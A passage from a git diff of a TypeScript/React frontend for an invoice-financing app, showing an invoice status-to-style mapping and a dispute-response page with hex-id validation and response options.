rail: string; - railClass: string; - badgeClass: string; - iconName: string; -} - -export const INVOICE_STATUS_MAP: Record = { - Pending: { - status: "Pending", - label: "Pending verification", - rail: "amber-400", - railClass: "border-l-amber-400", - badgeClass: "bg-amber-50 text-amber-800 border-amber-200", - iconName: "hourglass.bottomhalf.fill", - }, - Verified: { - status: "Verified", - label: "Open for bids", - rail: "blue-500", - railClass: "border-l-blue-500", - badgeClass: "bg-blue-50 text-blue-800 border-blue-200", - iconName: "tag.fill", - }, - Funded: { - status: "Funded", - label: "Funded", - rail: "indigo-500", - railClass: "border-l-indigo-500", - badgeClass: "bg-indigo-50 text-indigo-800 border-indigo-200", - iconName: "banknote.fill", - }, - Paid: { - status: "Paid", - label: "Paid", - rail: "emerald-500", - railClass: "border-l-emerald-500", - badgeClass: "bg-emerald-50 text-emerald-800 border-emerald-200", - iconName: "checkmark.circle.fill", - }, - Defaulted: { - status: "Defaulted", - label: "Defaulted", - rail: "rose-600", - railClass: "border-l-rose-600", - badgeClass: "bg-rose-50 text-rose-800 border-rose-200", - iconName: "exclamationmark.triangle.fill", - }, - Cancelled: { - status: "Cancelled", - label: "Cancelled", - rail: "gray-300", - railClass: "border-l-gray-300", - badgeClass: "bg-gray-100 text-gray-800 border-gray-300", - iconName: "xmark.circle.fill", - }, -}; - -export function getInvoiceStatusMeta(status: InvoiceStatus): InvoiceStatusMeta { - return INVOICE_STATUS_MAP[status]; -} +export type InvoiceStatus = + | "Pending" + | "Verified" + | "Funded" + | "Paid" + | "Defaulted" + | "Cancelled"; + +export const INVOICE_STATUSES: readonly InvoiceStatus[] = [ + "Pending", + "Verified", + "Funded", + "Paid", + "Defaulted", + "Cancelled", +] as const; + +export interface InvoiceStatusMeta { + status: InvoiceStatus; + label: string; + rail: string; + railClass: string; + badgeClass: string; + iconName: string; +} + +export const INVOICE_STATUS_MAP: Record = { + Pending: { + status: "Pending", + label: "Pending verification", + rail: "amber-400", + railClass: "border-l-amber-400", + badgeClass: "bg-amber-50 text-amber-800 border-amber-200", + iconName: "hourglass.bottomhalf.fill", + }, + Verified: { + status: "Verified", + label: "Open for bids", + rail: "blue-500", + railClass: "border-l-blue-500", + badgeClass: "bg-blue-50 text-blue-800 border-blue-200", + iconName: "tag.fill", + }, + Funded: { + status: "Funded", + label: "Funded", + rail: "indigo-500", + railClass: "border-l-indigo-500", + badgeClass: "bg-indigo-50 text-indigo-800 border-indigo-200", + iconName: "banknote.fill", + }, + Paid: { + status: "Paid", + label: "Paid", + rail: "emerald-500", + railClass: "border-l-emerald-500", + badgeClass: "bg-emerald-50 text-emerald-800 border-emerald-200", + iconName: "checkmark.circle.fill", + }, + Defaulted: { + status: "Defaulted", + label: "Defaulted", + rail: "rose-600", + railClass: "border-l-rose-600", + badgeClass: "bg-rose-50 text-rose-800 border-rose-200", + iconName: "exclamationmark.triangle.fill", + }, + Cancelled: { + status: "Cancelled", + label: "Cancelled", + rail: "gray-300", + railClass: "border-l-gray-300", + badgeClass: "bg-gray-100 text-gray-800 border-gray-300", + iconName: "xmark.circle.fill", + }, +}; + +export function getInvoiceStatusMeta(status: InvoiceStatus): InvoiceStatusMeta { + return INVOICE_STATUS_MAP[status]; +} diff --git a/quicklendx-frontend/app/disputes/[id]/respond/page.tsx b/quicklendx-frontend/app/disputes/[id]/respond/page.tsx index 21ca12337..a4e144591 100644 --- a/quicklendx-frontend/app/disputes/[id]/respond/page.tsx +++ b/quicklendx-frontend/app/disputes/[id]/respond/page.tsx @@ -1,294 +1,294 @@ -"use client"; - -import React, { useState } from "react"; -import { useParams, notFound } from "next/navigation"; -import { isHexId } from "../../../lib/ids"; - -export default function DisputeResponsePage() { - const params = useParams(); - const disputeId = - typeof params?.id === "string" ? (params.id as string) : undefined; - - // Reject malformed identifiers before any API call is made: dispute ids are - // on-chain hex strings (`0x` + hex digits, see - // `backend/src/validators/shared.ts` `hexStringSchema`). - if (disputeId !== undefined && !isHexId(disputeId)) { - notFound(); - } - const [selectedOption, setSelectedOption] = useState(""); - const [showConfirmation, setShowConfirmation] = useState(false); - - // Ref to "Submit Response" button so focus returns there when modal closes - const submitBtnRef = useRef(null); - - const options = [ - { - id: "agree_settle", - label: "Agree & Settle", - description: "Closes the dispute and triggers a refund.", - }, - { - id: "disagree_evidence", - label: "Disagree & Provide Evidence", - description: "Submit documents to support your case.", - }, - { - id: "request_info", - label: "Request More Information", - description: "Ask the investor for clarification.", - }, - { - id: "escalate", - label: "Escalate to Mediator", - description: "Request a neutral third-party review.", - }, - ]; - - const confirmationTitleId = "dispute-confirm-title"; - const confirmationDescId = "dispute-confirm-desc"; - - return ( -
-
- {/* Header */} -
-

- Respond to Dispute #{disputeId || "DSP-20260426-001"} -

-
- {/* Decorative clock icon — hidden from AT */} - - Deadline: May 1, 2026, 14:30 UTC (2 days remaining) -
-
- - {/* Composer */} -
-
-
- - How would you like to respond? - -
- {options.map((option) => ( -
-
- setSelectedOption(option.id)} - className="focus:ring-indigo-500 h-4 w-4 text-indigo-600 border-gray-300" - /> -
-
- -

{option.description}

-
-
- ))} -
-
- - {/* Conditional Fields */} - {selectedOption && ( -
-
-
- -
-